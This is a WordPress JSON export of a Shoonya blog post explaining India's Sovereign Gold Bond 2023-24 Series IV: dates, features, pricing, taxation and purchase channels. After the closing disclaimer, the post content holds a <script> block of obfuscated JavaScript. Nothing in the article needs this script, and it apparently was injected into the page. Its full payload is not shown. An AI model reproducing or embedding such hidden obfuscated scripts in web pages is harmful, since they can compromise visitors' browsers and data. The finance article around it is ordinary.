{"id":6169,"date":"2024-01-05T07:25:57","date_gmt":"2024-01-05T07:25:57","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=6169"},"modified":"2024-01-05T07:25:58","modified_gmt":"2024-01-05T07:25:58","slug":"sovereign-gold-bond-2024-series-4-subscription-opens-in-feb","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/sovereign-gold-bond-2024-series-4-subscription-opens-in-feb\/","title":{"rendered":"Sovereign Gold Bond 2023- 24 Series IV: Subscription Details &amp; Tax Rules"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/sovereign-gold-bond-2024-series-4-subscription-opens-in-feb\/#Key_Highlights_of_the_First_Gold_Bond_of_2024\" >Key Highlights of the First Gold Bond of 2024&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/sovereign-gold-bond-2024-series-4-subscription-opens-in-feb\/#Features_and_Tenure_of_Sovereign_Gold_Bond_SGB\" >Features and Tenure of Sovereign Gold Bond (SGB)<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/sovereign-gold-bond-2024-series-4-subscription-opens-in-feb\/#Who_should_invest_in_SGB_2023-24_Series_IV\" >Who should invest in SGB 2023-24 Series IV?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/sovereign-gold-bond-2024-series-4-subscription-opens-in-feb\/#Features_of_SGB\" >Features of SGB<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/sovereign-gold-bond-2024-series-4-subscription-opens-in-feb\/#Pricing_Mechanism_of_SGBs_and_Income_Tax_Rules\" >Pricing Mechanism of SGBs and Income Tax Rules<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/sovereign-gold-bond-2024-series-4-subscription-opens-in-feb\/#Taxation_of_Sovereign_Gold_Bonds\" >Taxation of Sovereign Gold Bonds<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/sovereign-gold-bond-2024-series-4-subscription-opens-in-feb\/#Acquisition_Channels_for_SGBs_2023-24_Series_IV\" >Acquisition Channels for SGBs 2023-24 Series IV<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/sovereign-gold-bond-2024-series-4-subscription-opens-in-feb\/#Update_on_SGB_2023-24_Series_III\" >Update on SGB 2023-24 Series III<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/shoonya.com\/blog\/sovereign-gold-bond-2024-series-4-subscription-opens-in-feb\/#Conclusion\" >Conclusion<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/bonds\/\">Bonds<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Sovereign Gold Bond 2023- 24 Series IV: Subscription Details &amp; Tax Rules<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The first gold bond of 2024, SGB Series 2023-24 Series IV, is scheduled to open for subscription on February 12, 2024. Interested investors have the opportunity to subscribe until February 16, 2024, with the official issuance set for February 21, 2024. The Reserve Bank of India (RBI) manages the sovereign gold bond issuance on behalf of the central government.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Key_Highlights_of_the_First_Gold_Bond_of_2024\"><\/span>Key Highlights of the First Gold Bond of 2024&nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>First gold bond of 2024, SGB Series 2023-24 Series IV.<\/li>\n\n\n\n<li>Subscriptions open from February 12 to 16, 2024.<\/li>\n\n\n\n<li>Issuance on February 21, 2024.<\/li>\n\n\n\n<li>Taxable interest as per Income Tax Act, 1961.<\/li>\n\n\n\n<li>8-year tenor with an option of premature redemption.<\/li>\n\n\n\n<li>Prices are fixed based on the average gold closing price.<\/li>\n\n\n\n<li>Capital gains tax is exempted on redemption.<\/li>\n\n\n\n<li>Available through banks, SHCIL, CCIL, post offices, and stock exchanges.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Features_and_Tenure_of_Sovereign_Gold_Bond_SGB\"><\/span>Features and Tenure of Sovereign Gold Bond (SGB)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The Sovereign <a href=\"\/sovereign-gold-bonds\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Gold Bond<\/mark><\/a> (SGB) has a tenure of eight years, allowing for premature redemption after the fifth year.\u00a0<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Who_should_invest_in_SGB_2023-24_Series_IV\"><\/span>Who should invest in SGB 2023-24 Series IV?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Investors seeking gold exposure without physical possession hassles.<\/li>\n\n\n\n<li>Investors aiming for tax benefits, including capital gains exemption.<\/li>\n\n\n\n<li>Individuals prefer the assurance of government guarantee with no default risk.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Features_of_SGB\"><\/span>Features of SGB<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>8-year tenor with exit option from the 5th year on interest payment dates.<\/li>\n\n\n\n<li>SGBs are issued in the denomination of units of one gram of gold, with a minimum investment of one gram.<\/li>\n\n\n\n<li>Maximum limits: 4 kg for individuals, 4 kg for HUFs, and 20 kg for trusts per fiscal year.<\/li>\n\n\n\n<li>Issued by the RBI- Reserve Bank of India on behalf of the Government of India.<\/li>\n\n\n\n<li>Available in both DEMAT and paper form.<\/li>\n\n\n\n<li>These gold bonds are transferable through the execution of an instrument of transfer.<\/li>\n\n\n\n<li>Issue and redemption prices fixed in Indian Rupees based on gold closing prices.<\/li>\n\n\n\n<li>Loans against bonds are available as collateral security.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Pricing_Mechanism_of_SGBs_and_Income_Tax_Rules\"><\/span>Pricing Mechanism of SGBs and Income Tax Rules<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">SGB prices are set in Indian Rupees using the average closing price of 999-purity gold, as reported by IBJA- India Bullion and Jewellers Association Limited in the three days before subscriptions.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Taxation_of_Sovereign_Gold_Bonds\"><\/span>Taxation of Sovereign Gold Bonds<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">If you hold the bonds until maturity, completing the full eight years, you are exempt from paying capital gains tax on the resulting profits.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For gains obtained by selling or transferring the bonds before maturity, taxation follows applicable rules. Long-term capital gains may benefit from indexation.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Backed by the Government of India, these bonds offer a secure investment. Additionally, they can serve as collateral for loans from various financial institutions and banks.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Acquisition_Channels_for_SGBs_2023-24_Series_IV\"><\/span>Acquisition Channels for SGBs 2023-24 Series IV<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Interested buyers can acquire SGBs through various channels, including Scheduled Commercial banks (excluding the Payment Banks, SFBs- Small Finance Banks, and Regional Rural Banks), Clearing Corporation of India Limited (CCIL), designated post offices, and recognized stock exchanges in India, i.e., NSE- National Stock Exchange of India Limited and BSE- Bombay Stock Exchange Limited.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Update_on_SGB_2023-24_Series_III\"><\/span>Update on SGB 2023-24 Series III<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">In a related update, the Reserve Bank of India (RBI) has established the issue price for the third tranche of the SGB- Sovereign Gold Bond Scheme, SGB 2023-24 Series III, at \u20b96,199 per gram. This tranche was open for subscription from December 18 to December 22, with the issuance taking place on December 28.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span>Conclusion<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">SGB 2023-24 Series IV is a great opportunity for investors who want to invest in gold without the hassle of physical possession, storage, or purity issues. The bond offers a fixed interest rate, tax benefits, and a government guarantee. The subscription window is open from February 12 to 16, 2024, and the issuance date is February 21, 2024.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Interested investors have the opportunity to subscribe until February 16, 2024, with the official issuance set for February 21, 2024. The Reserve Bank of India (RBI) manages the sovereign gold bond issuance on behalf &hellip; <a href=\"https:\/\/shoonya.com\/blog\/sovereign-gold-bond-2024-series-4-subscription-opens-in-feb\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Sovereign Gold Bond 2023- 24 Series IV: Subscription Details &amp; Tax Rules&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":6173,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[49],"tags":[2973,2974,2975,2085,2764],"class_list":["post-6169","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-bonds","tag-first-gold-bond-of-2024","tag-gold-bonds-india","tag-sgb-2023-24-series-iv","tag-sovereign-gold-bond","tag-tax-on-sovereign-gold-bonds"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Sovereign Gold Bond 2024 Series 4: Subscription Opens in Feb<\/title>\n<meta name=\"description\" content=\"Get details on the first gold bond of 2024, sovereign gold bond Series 2023-24 Series 4. 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